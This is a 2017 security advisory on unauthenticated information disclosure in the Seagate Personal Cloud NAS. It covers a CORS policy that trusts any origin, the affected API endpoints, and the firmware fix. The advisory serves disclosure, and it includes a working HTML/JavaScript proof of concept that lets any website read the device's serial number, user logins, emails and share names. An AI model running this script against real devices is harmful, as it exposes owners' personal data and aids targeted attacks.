Yorick Koster, September 2017

Seagate Personal Cloud multiple information disclosure vulnerabilities

Abstract

Seagate Personal Cloud is a consumer-grade Network-Attached Storage device (NAS). It was found that the web application used to manage the NAS is affected by various unauthenticated information disclosure vulnerabilities. The device is configured to trust any CORS origin, and is accessible via the personalcloud.local domain name. Due to this it is possible for any website to gain access to this information. While this information doesn't allow an attacker to compromise the NAS, the information can be used to stage more targeted attacks.

Tested versions

This issue was tested on a Seagate Personal Cloud model SRN21C running firmware versions 4.3.16.0 and 4.3.18.0. The software is licensed from LACIE, it is very likely that other devices/models are also affected.

Fix

These issues have been mitigated in firmware version 4.3.19.3. The NAS no longer accepts CORS requests from arbitrary sites. A number of endpoints now require the user to be logged in.

Introduction

Seagate Personal Cloud is a consumer-grade Network-Attached Storage device (NAS). Personal Cloud is deployed with software that allows uses to access their files over the internet, even if the devices is not directly accessible over the internet. Files are accessible through the Seagate Access web application.

It was found that the web application used to manage the NAS is affected by various unauthenticated information disclosure vulnerabilities. The web application is configured with an HTML5 cross-origin resource sharing (CORS) policy that trusts any Origin. In addition, the NAS is available using the personalcloud.local domain name via multicast Domain Name System (mDNS). Due to this it is possible to exploit this issue via a malicious website without requiring the NAS to be directly accessible over the internet and/or to know its IP address.

Details

Personal Cloud runs a Python application named webapp2 that is created by LACIE. This application is built upon the unicorn library, another proprietary application from LACIE. The NAS ships with various versions of LACIE's REST API (version 3 up till and including version 8). Each REST endpoint is configured in a file named dispatch.py, each API version comes with its own dispatch.py file.

A REST endpoint contains one or more methods that can be called. Access control is configured per method. For example the method list_users from the SimpleSharing endpoint can be called unauthenticated, which is defined in the auth & _auth members.

/usr/lib/unicorn/webapp2/api/v8/sv0/simple_sharing/SimpleSharing.py:

'list_users': {                           
   'input': {
      'with_parameters': List(unicode),
      'list_info': ListInfo
   },
   'output': {
      'user_list': ResultSet(SimpleUser)
   },
   'auth':['public'],
   '_auth':['public']
},

A quick search in the code reveals that the webapp2 application is deployed with various methods that can be called unauthenticated. Some of these methods disclose information that can be considered as sensitive. This information includes, but is not limited to:

- device information/version;
- email addresses;
- login names;
- (internal) IP configuration;
- MAC addresses;
- share names.

For example the list_users method above can be used to list all login names and corresponding email addresses of all users of the NAS. REST endpoints that disclose sensitive information include (non-exhaustive list):

- http://personalcloud.local/api/external/8.0/system.System.get_infos
- http://personalcloud.local/api/external/8.0/system.System.get_date
- http://personalcloud.local/api/external/8.0/system.System.get_timezone
- http://personalcloud.local/api/external/8.0/system.System.get_branding_info
- http://personalcloud.local/api/external/8.0/sdrive.Management.get_version
- http://personalcloud.local/api/external/8.0/simple_sharing.SimpleSharing.list_users
- http://personalcloud.local/api/external/8.0/nas_authentication.NasAuth.get_user_login_from_email (search on % wildcard)
- http://personalcloud.local/api/external/8.0/nas_authentication.NasAuth.myShares
- http://personalcloud.local/api/external/8.0/volumes.VolumeAdministration.list_volumes
- http://personalcloud.local/api/external/8.0/auto_update.administration.auto_update_service.get_status
- http://personalcloud.local/api/external/8.0/hw_monitoring.Administration.list_networks_info
- http://personalcloud.local/api/external/8.0/hw_monitoring.Administration.uptime
- http://personalcloud.local/api/external/8.0/multi_nic.administration.interface_service.get_all_interfaces

/advisory/SFY20170901/list_users_info_disclosure.png
Figure 1: retrieving all NAS users

The REST API is configured to trust any origin. This can be seen in the code listing below where the value of the Origin request header is used in the Access-Control-Allow-Origin response header. Because the NAS is reachable via the personalcloud.local domain name, it is possible for any website to gain access to this information. While this information doesn't allow an attacker to compromise the NAS, the information can be used to stage more targeted attacks.

/usr/lib/unicorn/webapp2/transformer_specific/transport_http_unicorn.py:

class VersionDispatcher(DefaultDispatcher):
   __import_path__ = u"webapp2.api"
   
   def prepare(self):
      self.set_header('Access-Control-Allow-Origin', self.request.headers.get('Origin', '*'))

Proof of concept

<!DOCTYPE html>
<html>
<!-- Get version information -->
<script type="text/javascript">
fetch('http://personalcloud.local/api/external/8.0/system.System.get_infos',
   {method: 'POST', body: '{}'})
   .then(function(response) {
      response.json().then(function(data){
         if(data.hasOwnProperty('infos') && data['infos'].hasOwnProperty('__properties__')) {
            props = data['infos']['__properties__'];
            vendor = props['vendor_name'];
            product = props['product'];
            version = props['version'];
            serial_number = props['serial_number'];
            console.log(vendor + ' ' + product + ' ' + version + ' (serial: ' + serial_number + ')');
         }
      });
   })
   .catch(function(err) {
      console.log('Error :', err);
   });
</script>
   
<!-- Get users -->
<script type="text/javascript">
fetch('http://personalcloud.local/api/external/8.0/simple_sharing.SimpleSharing.list_users',
   {method: 'POST', body: '{"list_info":{"__type__":"ListInfo", "__version__":0, "__sub_version__":0, "__properties__":{"limit":-1, "offset":0, "search_parameters":{"__type__":"Dict", "__sub_type__":"Unicode", "__elements__":{}}}}, "with_parameters":{"__type__":"List","__sub_type__":"Unicode","__elements__":{}}} '})
   .then(function(response) {
      response.json().then(function(data){
         if(data.hasOwnProperty('user_list') && data['user_list'].hasOwnProperty('__elements__')) {
            console.log('Users:');
            data['user_list']['__elements__'].forEach(function(user) {
               if(user.hasOwnProperty('__properties__')) {
                  props = user['__properties__'];
                  firstname = props['firstname'];
                  lastname = props['lastname'];
                  login = props['login'];
                  email = props['email'];
                  is_admin = props['is_admin'];
                  is_enabled = props['is_enabled'];
                  console.log(firstname + ' ' + lastname + ' / ' + login + ' / ' + email +
                     ' / admin: ' + is_admin + ' / enabled: ' + is_enabled);
               }
            });
         }
      });
   })
   .catch(function(err) {
      console.log('Error :', err);
   });
</script>
   
<!-- Get shares -->
<script type="text/javascript">
fetch('http://personalcloud.local/api/external/8.0/nas_authentication.NasAuth.myShares',
   {method: 'POST', body: '{"list_info":{"__type__":"ListInfo", "__version__":0, "__sub_version__":0, "__properties__":{"limit":-1, "offset":0, "search_parameters":{"__type__":"Dict", "__sub_type__":"Unicode", "__elements__":{"name":""}}, "order":{"__type__":"Ordering", "__version__":0, "__sub_version__":0, "__properties__":{"asc":false, "order_by":"name"}}}}}'})
   .then(function(response) {
      response.json().then(function(data){
         if(data.hasOwnProperty('share_through_list') && data['share_through_list'].hasOwnProperty('__elements__')) {
            console.log('Shares:');
            data['share_through_list']['__elements__'].forEach(function(share) {
               if(share.hasOwnProperty('__properties__')) {
                  props = share['__properties__'];
                  console.log(props['share']['__properties__']['name']);
               }
            });
         }
      });
   })
   .catch(function(err) {
      console.log('Error :', err);
   });
</script>
</html>